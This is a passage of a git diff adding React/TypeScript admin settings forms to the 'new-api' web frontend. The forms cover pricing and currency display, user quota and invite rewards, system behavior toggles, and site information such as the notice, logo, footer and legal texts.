+                          ? t('USD Exchange Rate')
+                          : t('USD Exchange Rate')}
+                    </FormLabel>
+                    <FormControl>
+                      <Input
+                        type='number'
+                        step='0.01'
+                        value={field.value as number}
+                        onChange={(e) => field.onChange(e.target.valueAsNumber)}
+                        name={field.name}
+                        onBlur={field.onBlur}
+                        ref={field.ref}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t(
+                        'Real exchange rate between USD and your payment gateway currency'
+                      )}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            )}
+
+            {displayType === 'CUSTOM' && (
+              <div className='grid gap-4 sm:grid-cols-2'>
+                <FormField
+                  control={form.control}
+                  name='general_setting.custom_currency_symbol'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Custom Currency Symbol')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='text'
+                          value={field.value ?? ''}
+                          onChange={field.onChange}
+                          name={field.name}
+                          onBlur={field.onBlur}
+                          ref={field.ref}
+                          maxLength={8}
+                          placeholder={t('e.g. ¥ or HK$')}
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t('Prefix used when displaying prices')}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+                <FormField
+                  control={form.control}
+                  name='general_setting.custom_currency_exchange_rate'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Units per USD')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='number'
+                          step='0.01'
+                          value={field.value ?? ''}
+                          onChange={(e) =>
+                            field.onChange(
+                              e.target.value === ''
+                                ? undefined
+                                : e.target.valueAsNumber
+                            )
+                          }
+                          name={field.name}
+                          onBlur={field.onBlur}
+                          ref={field.ref}
+                          placeholder={t('e.g. 8 means 1 USD = 8 units')}
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t('Conversion rate from USD to your custom currency')}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </div>
+            )}
+
+            {showDisplayInCurrencyOption && (
+              <FormField
+                control={form.control}
+                name='DisplayInCurrencyEnabled'
+                render={({ field }) => (
+                  <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                    <div className='space-y-0.5'>
+                      <FormLabel className='text-base'>
+                        {t('Display in Currency')}
+                      </FormLabel>
+                      <FormDescription>
+                        {displayType === 'TOKENS'
+                          ? t(
+                              'Tokens-only mode will show raw quota values regardless of this toggle.'
+                            )
+                          : t('Show prices in currency instead of quota.')}
+                      </FormDescription>
+                    </div>
+                    <FormControl>
+                      <Switch
+                        checked={field.value}
+                        onCheckedChange={field.onChange}
+                      />
+                    </FormControl>
+                  </FormItem>
+                )}
+              />
+            )}
+
+            <FormField
+              control={form.control}
+              name='DisplayTokenStatEnabled'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Display Token Statistics')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t('Show token usage statistics in the UI')}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+
+            <div className='flex gap-2'>
+              <Button
+                type='submit'
+                disabled={updateOption.isPending || isSubmitting}
+              >
+                {updateOption.isPending ? t('Saving...') : t('Save Changes')}
+              </Button>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={handleReset}
+                disabled={!isDirty || updateOption.isPending || isSubmitting}
+              >
+                <RotateCcw className='mr-2 h-4 w-4' />
+                {t('Reset')}
+              </Button>
+            </div>
+          </form>
+        </Form>
+      </SettingsSection>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/general/quota-settings-section.tsx b/new-api/web/default/src/features/system-settings/general/quota-settings-section.tsx
new file mode 100644
index 0000000..466eca4
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/general/quota-settings-section.tsx
@@ -0,0 +1,245 @@
+import * as z from 'zod'
+import type { Resolver } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import { FormDirtyIndicator } from '../components/form-dirty-indicator'
+import { FormNavigationGuard } from '../components/form-navigation-guard'
+import { SettingsSection } from '../components/settings-section'
+import { useSettingsForm } from '../hooks/use-settings-form'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const quotaSchema = z.object({
+  QuotaForNewUser: z.coerce.number().min(0),
+  PreConsumedQuota: z.coerce.number().min(0),
+  QuotaForInviter: z.coerce.number().min(0),
+  QuotaForInvitee: z.coerce.number().min(0),
+  TopUpLink: z.string().url().optional().or(z.literal('')),
+  'general_setting.docs_link': z.string().url().optional().or(z.literal('')),
+  'quota_setting.enable_free_model_pre_consume': z.boolean(),
+})
+
+type QuotaFormValues = z.infer<typeof quotaSchema>
+
+type QuotaSettingsSectionProps = {
+  defaultValues: QuotaFormValues
+}
+
+export function QuotaSettingsSection({
+  defaultValues,
+}: QuotaSettingsSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const { form, handleSubmit, isDirty, isSubmitting } =
+    useSettingsForm<QuotaFormValues>({
+      resolver: zodResolver(quotaSchema) as Resolver<
+        QuotaFormValues,
+        unknown,
+        QuotaFormValues
+      >,
+      defaultValues,
+      onSubmit: async (_data, changedFields) => {
+        for (const [key, value] of Object.entries(changedFields)) {
+          await updateOption.mutateAsync({
+            key,
+            value: value as string | number | boolean,
+          })
+        }
+      },
+    })
+
+  return (
+    <SettingsSection
+      title={t('Quota Settings')}
+      description={t('Configure user quota allocation and rewards')}
+    >
+      <FormNavigationGuard when={isDirty} />
+
+      <Form {...form}>
+        <form onSubmit={handleSubmit} className='space-y-6'>
+          <FormDirtyIndicator isDirty={isDirty} />
+          <FormField
+            control={form.control}
+            name='QuotaForNewUser'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('New User Quota')}</FormLabel>
+                <FormControl>
+                  <Input
+                    type='number'
+                    value={field.value as number}
+                    onChange={(e) => field.onChange(e.target.valueAsNumber)}
+                    name={field.name}
+                    onBlur={field.onBlur}
+                    ref={field.ref}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t('Initial quota given to new users')}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='PreConsumedQuota'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Pre-Consumed Quota')}</FormLabel>
+                <FormControl>
+                  <Input
+                    type='number'
+                    value={field.value as number}
+                    onChange={(e) => field.onChange(e.target.valueAsNumber)}
+                    name={field.name}
+                    onBlur={field.onBlur}
+                    ref={field.ref}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t('Quota consumed before charging users')}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='QuotaForInviter'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Inviter Reward')}</FormLabel>
+                <FormControl>
+                  <Input
+                    type='number'
+                    value={field.value as number}
+                    onChange={(e) => field.onChange(e.target.valueAsNumber)}
+                    name={field.name}
+                    onBlur={field.onBlur}
+                    ref={field.ref}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t('Quota given to users who invite others')}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='QuotaForInvitee'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Invitee Reward')}</FormLabel>
+                <FormControl>
+                  <Input
+                    type='number'
+                    value={field.value as number}
+                    onChange={(e) => field.onChange(e.target.valueAsNumber)}
+                    name={field.name}
+                    onBlur={field.onBlur}
+                    ref={field.ref}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t('Quota given to invited users')}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='quota_setting.enable_free_model_pre_consume'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Pre-Consume for Free Models')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'When enabled, zero-cost models also pre-consume quota before final settlement.'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                    disabled={updateOption.isPending}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='TopUpLink'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Top-Up Link')}</FormLabel>
+                <FormControl>
+                  <Input
+                    placeholder={t('https://example.com/topup')}
+                    {...field}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t('External link for users to purchase quota')}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='general_setting.docs_link'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Documentation Link')}</FormLabel>
+                <FormControl>
+                  <Input
+                    placeholder={t('https://docs.example.com')}
+                    {...field}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t('Link to your documentation site')}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <Button
+            type='submit'
+            disabled={updateOption.isPending || isSubmitting}
+          >
+            {updateOption.isPending ? t('Saving...') : t('Save Changes')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/general/section-registry.tsx b/new-api/web/default/src/features/system-settings/general/section-registry.tsx
new file mode 100644
index 0000000..f79c042
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/general/section-registry.tsx
@@ -0,0 +1,148 @@
+import type { GeneralSettings } from '../types'
+import { createSectionRegistry } from '../utils/section-registry'
+import { ChannelAffinitySection } from './channel-affinity'
+import { CheckinSettingsSection } from './checkin-settings-section'
+import { PricingSection } from './pricing-section'
+import { QuotaSettingsSection } from './quota-settings-section'
+import { SystemBehaviorSection } from './system-behavior-section'
+import { SystemInfoSection } from './system-info-section'
+
+const GENERAL_SECTIONS = [
+  {
+    id: 'system-info',
+    titleKey: 'System Information',
+    descriptionKey: 'Configure basic system information and branding',
+    build: (settings: GeneralSettings) => (
+      <SystemInfoSection
+        defaultValues={{
+          theme: {
+            frontend: settings['theme.frontend'] as 'default' | 'classic',
+          },
+          Notice: settings.Notice,
+          SystemName: settings.SystemName,
+          Logo: settings.Logo,
+          Footer: settings.Footer,
+          About: settings.About,
+          HomePageContent: settings.HomePageContent,
+          ServerAddress: settings.ServerAddress,
+          legal: {
+            user_agreement: settings['legal.user_agreement'],
+            privacy_policy: settings['legal.privacy_policy'],
+          },
+        }}
+      />
+    ),
+  },
+  {
+    id: 'quota',
+    titleKey: 'Quota Settings',
+    descriptionKey: 'Configure user quota allocation and rewards',
+    build: (settings: GeneralSettings) => (
+      <QuotaSettingsSection
+        defaultValues={{
+          QuotaForNewUser: settings.QuotaForNewUser,
+          PreConsumedQuota: settings.PreConsumedQuota,
+          QuotaForInviter: settings.QuotaForInviter,
+          QuotaForInvitee: settings.QuotaForInvitee,
+          TopUpLink: settings.TopUpLink,
+          'general_setting.docs_link': settings['general_setting.docs_link'],
+          'quota_setting.enable_free_model_pre_consume':
+            settings['quota_setting.enable_free_model_pre_consume'],
+        }}
+      />
+    ),
+  },
+  {
+    id: 'pricing',
+    titleKey: 'Pricing & Display',
+    descriptionKey: 'Configure pricing model and display options',
+    build: (
+      settings: GeneralSettings,
+      quotaDisplayType: 'USD' | 'CNY' | 'TOKENS' | 'CUSTOM'
+    ) => (
+      <PricingSection
+        defaultValues={{
+          QuotaPerUnit: settings.QuotaPerUnit,
+          USDExchangeRate: settings.USDExchangeRate,
+          DisplayInCurrencyEnabled: settings.DisplayInCurrencyEnabled,
+          DisplayTokenStatEnabled: settings.DisplayTokenStatEnabled,
+          general_setting: {
+            quota_display_type: quotaDisplayType,
+            custom_currency_symbol:
+              settings['general_setting.custom_currency_symbol'] ?? '¤',
+            custom_currency_exchange_rate:
+              settings['general_setting.custom_currency_exchange_rate'] ?? 1,
+          },
+        }}
+      />
+    ),
+  },
+  {
+    id: 'checkin',
+    titleKey: 'Check-in Settings',
+    descriptionKey: 'Configure daily check-in rewards for users',
+    build: (settings: GeneralSettings) => (
+      <CheckinSettingsSection
+        defaultValues={{
+          enabled: settings['checkin_setting.enabled'],
+          minQuota: settings['checkin_setting.min_quota'],
+          maxQuota: settings['checkin_setting.max_quota'],
+        }}
+      />
+    ),
+  },
+  {
+    id: 'behavior',
+    titleKey: 'System Behavior',
+    descriptionKey: 'Configure system-wide behavior and defaults',
+    build: (settings: GeneralSettings) => (
+      <SystemBehaviorSection
+        defaultValues={{
+          RetryTimes: settings.RetryTimes,
+          DefaultCollapseSidebar: settings.DefaultCollapseSidebar,
+          DemoSiteEnabled: settings.DemoSiteEnabled,
+          SelfUseModeEnabled: settings.SelfUseModeEnabled,
+        }}
+      />
+    ),
+  },
+  {
+    id: 'channel-affinity',
+    titleKey: 'Channel Affinity',
+    descriptionKey: 'Configure channel affinity (sticky routing) rules',
+    build: (settings: GeneralSettings) => (
+      <ChannelAffinitySection
+        defaultValues={{
+          'channel_affinity_setting.enabled':
+            settings['channel_affinity_setting.enabled'],
+          'channel_affinity_setting.switch_on_success':
+            settings['channel_affinity_setting.switch_on_success'],
+          'channel_affinity_setting.max_entries':
+            settings['channel_affinity_setting.max_entries'],
+          'channel_affinity_setting.default_ttl_seconds':
+            settings['channel_affinity_setting.default_ttl_seconds'],
+          'channel_affinity_setting.rules':
+            settings['channel_affinity_setting.rules'],
+        }}
+      />
+    ),
+  },
+] as const
+
+export type GeneralSectionId = (typeof GENERAL_SECTIONS)[number]['id']
+
+const generalRegistry = createSectionRegistry<
+  GeneralSectionId,
+  GeneralSettings,
+  ['USD' | 'CNY' | 'TOKENS' | 'CUSTOM']
+>({
+  sections: GENERAL_SECTIONS,
+  defaultSection: 'system-info',
+  basePath: '/system-settings/general',
+  urlStyle: 'path',
+})
+
+export const GENERAL_SECTION_IDS = generalRegistry.sectionIds
+export const GENERAL_DEFAULT_SECTION = generalRegistry.defaultSection
+export const getGeneralSectionNavItems = generalRegistry.getSectionNavItems
+export const getGeneralSectionContent = generalRegistry.getSectionContent
diff --git a/new-api/web/default/src/features/system-settings/general/system-behavior-section.tsx b/new-api/web/default/src/features/system-settings/general/system-behavior-section.tsx
new file mode 100644
index 0000000..f1b15ac
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/general/system-behavior-section.tsx
@@ -0,0 +1,166 @@
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import { SettingsSection } from '../components/settings-section'
+import { useResetForm } from '../hooks/use-reset-form'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const behaviorSchema = z.object({
+  RetryTimes: z.coerce.number().min(0).max(10),
+  DefaultCollapseSidebar: z.boolean(),
+  DemoSiteEnabled: z.boolean(),
+  SelfUseModeEnabled: z.boolean(),
+})
+
+type BehaviorFormValues = z.infer<typeof behaviorSchema>
+
+type SystemBehaviorSectionProps = {
+  defaultValues: BehaviorFormValues
+}
+
+export function SystemBehaviorSection({
+  defaultValues,
+}: SystemBehaviorSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const form = useForm({
+    resolver: zodResolver(behaviorSchema),
+    defaultValues,
+  })
+
+  useResetForm(form, defaultValues)
+
+  const onSubmit = async (data: BehaviorFormValues) => {
+    const updates = Object.entries(data).filter(
+      ([key, value]) => value !== defaultValues[key as keyof BehaviorFormValues]
+    )
+
+    for (const [key, value] of updates) {
+      await updateOption.mutateAsync({ key, value })
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('System Behavior')}
+      description={t('Configure system-wide behavior and defaults')}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <FormField
+            control={form.control}
+            name='RetryTimes'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Retry Times')}</FormLabel>
+                <FormControl>
+                  <Input
+                    type='number'
+                    min='0'
+                    max='10'
+                    value={field.value as number}
+                    onChange={(e) => field.onChange(e.target.valueAsNumber)}
+                    name={field.name}
+                    onBlur={field.onBlur}
+                    ref={field.ref}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t('Number of times to retry failed requests (0-10)')}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='DefaultCollapseSidebar'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Default Collapse Sidebar')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t('Sidebar collapsed by default for new users')}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='DemoSiteEnabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Demo Site Mode')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t('Enable demo mode with limited functionality')}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='SelfUseModeEnabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Self-Use Mode')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t('Optimize system for self-hosted single-user usage')}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save Changes')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/general/system-info-section.tsx b/new-api/web/default/src/features/system-settings/general/system-info-section.tsx
new file mode 100644
index 0000000..6993662
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/general/system-info-section.tsx
@@ -0,0 +1,395 @@
+import * as z from 'zod'
+import type { Resolver } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { RotateCcw } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { useHiddenClickUnlock } from '@/hooks/use-hidden-click-unlock'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Textarea } from '@/components/ui/textarea'
+import { FormDirtyIndicator } from '../components/form-dirty-indicator'
+import { FormNavigationGuard } from '../components/form-navigation-guard'
+import { SettingsSection } from '../components/settings-section'
+import { useSettingsForm } from '../hooks/use-settings-form'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const _systemInfoSchema = z.object({
+  theme: z.object({
+    frontend: z.enum(['default', 'classic']),
+  }),
+  Notice: z.string().optional(),
+  SystemName: z.string().min(1),
+  ServerAddress: z.string().optional(),
+  Logo: z.string().url().optional().or(z.literal('')),
+  Footer: z.string().optional(),
+  About: z.string().optional(),
+  HomePageContent: z.string().optional(),
+  legal: z.object({
+    user_agreement: z.string().optional(),
+    privacy_policy: z.string().optional(),
+  }),
+})
+
+type SystemInfoFormValues = z.infer<typeof _systemInfoSchema>
+
+type SystemInfoSectionProps = {
+  defaultValues: SystemInfoFormValues
+}
+
+function normalizeValue(value: unknown): string {
+  if (value === undefined || value === null) return ''
+  return typeof value === 'string' ? value : String(value)
+}
+
+export function SystemInfoSection({ defaultValues }: SystemInfoSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const frontendThemeUnlock = useHiddenClickUnlock({ requiredClicks: 3 })
+
+  const normalizedDefaults: SystemInfoFormValues = {
+    theme: {
+      frontend:
+        defaultValues.theme?.frontend === 'classic' ? 'classic' : 'default',
+    },
+    Notice: normalizeValue(defaultValues.Notice),
+    SystemName: normalizeValue(defaultValues.SystemName),
+    ServerAddress: normalizeValue(defaultValues.ServerAddress),
+    Logo: normalizeValue(defaultValues.Logo),
+    Footer: normalizeValue(defaultValues.Footer),
+    About: normalizeValue(defaultValues.About),
+    HomePageContent: normalizeValue(defaultValues.HomePageContent),
+    legal: {
+      user_agreement: normalizeValue(defaultValues.legal?.user_agreement),
+      privacy_policy: normalizeValue(defaultValues.legal?.privacy_policy),
+    },
+  }
+
+  const systemInfoSchemaWithI18n = z.object({
+    theme: z.object({
+      frontend: z.enum(['default', 'classic']),
+    }),
+    Notice: z.string().optional(),
+    SystemName: z.string().min(1, {
+      error: () => t('System name is required'),
+    }),
+    ServerAddress: z.string().optional(),
+    Logo: z.string().url().optional().or(z.literal('')),
+    Footer: z.string().optional(),
+    About: z.string().optional(),
+    HomePageContent: z.string().optional(),
+    legal: z.object({
+      user_agreement: z.string().optional(),
+      privacy_policy: z.string().optional(),
+    }),
+  })
+
+  const { form, handleSubmit, handleReset, isDirty, isSubmitting } =
+    useSettingsForm<SystemInfoFormValues>({
+      resolver: zodResolver(systemInfoSchemaWithI18n) as Resolver<
+        SystemInfoFormValues,
+        unknown,
+        SystemInfoFormValues
+      >,
+      defaultValues: normalizedDefaults,
+      onSubmit: async (_data, changedFields) => {
+        for (const [key, value] of Object.entries(changedFields)) {
+          let v = normalizeValue(value)
+          if (key === 'ServerAddress') {
+            v = v.replace(/\/+$/, '')
+          }
+          await updateOption.mutateAsync({
+            key,
+            value: v,
+          })
+        }
+      },
+    })
+
+  return (
+    <>
+      <FormNavigationGuard when={isDirty} />
+
+      <SettingsSection
+        title={t('System Information')}
+        titleProps={{
+          className: 'cursor-pointer select-none',
+          onClick: frontendThemeUnlock.handleClick,
+        }}
+        description={t('Configure basic system information and branding')}
+      >
+        <Form {...form}>
+          <form onSubmit={handleSubmit} className='space-y-6'>
+            <FormDirtyIndicator isDirty={isDirty} />
+            {frontendThemeUnlock.unlocked && (
+              <FormField
+                control={form.control}
+                name='theme.frontend'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Frontend Theme')}</FormLabel>
+                    <Select onValueChange={field.onChange} value={field.value}>
+                      <FormControl>
+                        <SelectTrigger className='w-full'>
+                          <SelectValue />
+                        </SelectTrigger>
+                      </FormControl>
+                      <SelectContent>
+                        <SelectItem value='default'>
+                          {t('Default (New Frontend)')}
+                        </SelectItem>
+                        <SelectItem value='classic'>
+                          {t('Classic (Legacy Frontend)')}
+                        </SelectItem>
+                      </SelectContent>
+                    </Select>
+                    <FormDescription>
+                      {t(
+                        'Switch between the new frontend and the classic frontend. Changes take effect after page reload.'
+                      )}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            )}
+
+            <FormField
+              control={form.control}
+              name='Notice'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Notice')}</FormLabel>
+                  <FormControl>
+                    <Textarea
+                      placeholder={t(
+                        'Enter announcement content (supports Markdown & HTML)'
+                      )}
+                      rows={6}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Announcement displayed to users (supports Markdown & HTML)'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='SystemName'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('System Name')}</FormLabel>
+                  <FormControl>
+                    <Input placeholder={t('New API')} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t('The name displayed across the application')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='ServerAddress'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Server Address')}</FormLabel>
+                  <FormControl>
+                    <Input placeholder='https://yourdomain.com' {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'The public URL of your server, used for OAuth callbacks, webhooks, and other external integrations'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='Logo'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Logo URL')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      placeholder={t('https://example.com/logo.png')}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('URL to your logo image (optional)')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='Footer'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Footer')}</FormLabel>
+                  <FormControl>
+                    <Textarea
+                      placeholder={t(
+                        '© 2025 Your Company. All rights reserved.'
+                      )}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Footer text displayed at the bottom of pages')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='About'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('About')}</FormLabel>
+                  <FormControl>
+                    <Textarea
+                      placeholder={t(
+                        'Enter HTML code (e.g., <p>About us...</p>) or a URL (e.g., https://example.com) to embed as iframe'
+                      )}
+                      rows={4}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Supports HTML markup or iframe embedding. Enter HTML code directly, or provide a complete URL to automatically embed it as an iframe.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='HomePageContent'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Home Page Content')}</FormLabel>
+                  <FormControl>
+                    <Textarea
+                      placeholder={t('Welcome to our New API...')}
+                      rows={6}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Content displayed on the home page (supports Markdown)'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='legal.user_agreement'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('User Agreement')}</FormLabel>
+                  <FormControl>
+                    <Textarea
+                      placeholder={t(
+                        'Provide Markdown, HTML, or an external URL for the user agreement'
+                      )}
+                      rows={6}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Leave empty to disable the agreement requirement. Supports Markdown, HTML, or a full URL to redirect users.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='legal.privacy_policy'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Privacy Policy')}</FormLabel>
+                  <FormControl>
+                    <Textarea
+                      placeholder={t(
+                        'Provide Markdown, HTML, or an external URL for the privacy policy'
+                      )}
+                      rows={6}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Leave empty to disable the privacy policy requirement. Supports Markdown, HTML, or a full URL to redirect users.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <div className='flex gap-2'>
+              <Button
+                type='submit'
+                disabled={isSubmitting || updateOption.isPending}
+              >
+                {updateOption.isPending ? t('Saving...') : t('Save Changes')}
+              </Button>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={handleReset}
+                disabled={!isDirty || updateOption.isPending || isSubmitting}
+              >
+                <RotateCcw className='mr-2 h-4 w-4' />
+                {t('Reset')}
+              </Button>
+            </div>
+          </form>
+        </Form>
+      </SettingsSection>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/hooks/use-accordion-state.ts b/new-api/web/default/src/features/system-settings/hooks/use-accordion-state.ts
new file mode 100644
index 0000000..a787d4f
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/hooks/use-accordion-state.ts
@@ -0,0 +1,85 @@
+import { useCallback, useEffect, useState, useMemo } from 'react'
+
+// Simple debounce implementation (no external dependencies)
+function debounce(
+  fn: (value: string[]) => void,
+  delay: number
+): ((value: string[]) => void) & { cancel: () => void } {
+  let timeoutId: ReturnType<typeof setTimeout> | null = null
+
